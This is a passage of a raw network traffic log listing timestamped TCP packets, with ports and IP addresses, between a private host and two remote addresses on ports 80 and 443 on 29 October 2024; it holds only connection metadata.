Oct 29, 2024 17:59:18.193063021 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.193082094 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.193098068 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.193485975 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.193500996 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.193516970 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.193531990 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.193536043 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.193562984 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.193567991 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.193592072 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.193618059 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.193922997 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.193944931 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.193962097 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.193967104 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.193979025 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.193985939 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.193995953 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.194013119 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.194040060 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.194371939 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.194399118 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.194411993 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.194418907 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.194436073 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.194453001 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.194473982 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.194489002 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.194504976 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.194515944 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.194526911 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.194547892 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.252841949 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.252881050 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.252898932 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.252919912 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.252922058 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.252939939 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.252942085 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.252976894 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.258297920 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.258349895 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.258512020 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.258568048 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.258635044 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.258682013 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.258796930 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.258842945 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.258950949 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.258981943 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.258994102 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.259012938 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.259016991 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.259030104 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.259047985 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.259049892 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.259066105 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.259069920 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.259085894 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.259104967 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.259104967 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.259107113 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.259123087 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.259129047 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.259144068 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.259146929 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.259162903 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.259169102 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.259180069 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.259187937 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.259210110 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.259224892 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.259382963 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.259407043 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.259423971 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.259426117 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.259442091 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.259463072 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.280379057 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.280821085 CET	49756	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.280833960 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.281270027 CET	49756	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.281275034 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.284641981 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.284836054 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.284894943 CET	49754	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.285027981 CET	49754	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.285043955 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.285058022 CET	49754	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.285063028 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.287719965 CET	49759	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.287767887 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.287851095 CET	49759	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.288017035 CET	49759	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.288031101 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.293481112 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.293781042 CET	49757	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.293796062 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.294061899 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.294090986 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.294111013 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.294111967 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.294126034 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.294150114 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.294183016 CET	49757	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.294188976 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.310374975 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.310425997 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.310425997 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.310450077 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.310468912 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.310477018 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.310487032 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.310492992 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.310499907 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.310534954 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.310534954 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.310550928 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.310565948 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.310585022 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.310592890 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.310601950 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.310619116 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.310627937 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.310636997 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.310646057 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.310653925 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.310667992 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.310673952 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.310683012 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.310693026 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.310698986 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.310717106 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.310734034 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.311219931 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.311234951 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.311250925 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.311266899 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.311269999 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.311280966 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.311299086 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.311316013 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.311588049 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.311603069 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.311618090 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.311635971 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.311636925 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.311655045 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.311655045 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.311671972 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.311690092 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.311697006 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.311703920 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.311707973 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.311726093 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.311736107 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.311742067 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.311757088 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.311786890 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.336584091 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.336817980 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.336904049 CET	49755	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.336990118 CET	49755	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.337012053 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.337023973 CET	49755	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.337029934 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.339448929 CET	49760	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.339534998 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.339618921 CET	49760	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.339735985 CET	49760	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.339756012 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.370450020 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.370490074 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.370512009 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.370527983 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.370568991 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.370588064 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.375735998 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.375751972 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.375777006 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.375798941 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.375813007 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.375823975 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.375833988 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.375852108 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.375860929 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.375879049 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.375895023 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.375901937 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.375910044 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.375927925 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.375971079 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.376044035 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.376059055 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.376075029 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.376087904 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.376092911 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.376110077 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.376133919 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.376213074 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.376255035 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.376288891 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.376312017 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.376328945 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.376332045 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.376348019 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.376349926 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.376363039 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.376380920 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.376682997 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.376696110 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.376724958 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.376739979 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.376811981 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.376826048 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.376841068 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.376852989 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.376858950 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.376873016 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.376900911 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.410979033 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.411046028 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.411051035 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.411072016 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.411089897 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.411092043 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.411104918 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.411127090 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.417741060 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.418088913 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.418129921 CET	49756	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.422596931 CET	49756	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.422610044 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.422621012 CET	49756	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.422626972 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.422692060 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.422940969 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.422986031 CET	49757	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.424916983 CET	49757	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.424936056 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.424947023 CET	49757	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.424956083 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.427265882 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.427309990 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.427321911 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.427351952 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.427354097 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.427371025 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.427390099 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.427390099 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.427402020 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.427423000 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.427697897 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.427721024 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.427731991 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.427738905 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.427757978 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.427761078 CET	49761	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.427776098 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.427783966 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.427783966 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.427798033 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.427807093 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.427814007 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.427855968 CET	49761	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.427942038 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.427962065 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.427968979 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.427977085 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.427978039 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.428014994 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.428252935 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.428289890 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.428291082 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.428307056 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.428324938 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.428340912 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.428354025 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.428368092 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.428385973 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.428401947 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.428668976 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.428683996 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.428709030 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.428723097 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.428750992 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.428785086 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.428808928 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.428823948 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.428841114 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.428841114 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.428862095 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.428879023 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.428916931 CET	49761	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.428934097 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.429101944 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.429136992 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.429157019 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.429172993 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.429189920 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.429219007 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.429253101 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.429267883 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.429286957 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.429289103 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.429310083 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.429318905 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.429683924 CET	49762	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.429764986 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.429826975 CET	49762	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.430041075 CET	49762	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.430068970 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.487711906 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.487730026 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.487746000 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.487786055 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.487827063 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.492966890 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.493009090 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.493068933 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.493086100 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.493108034 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.493124008 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.493129015 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.493150949 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.493164062 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.493187904 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.493263960 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.493278980 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.493298054 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.493316889 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.493343115 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.493357897 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.493379116 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.493393898 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.493402004 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.493416071 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.493434906 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.493437052 CET	49722	80	192.168.2.6	185.215.113.206
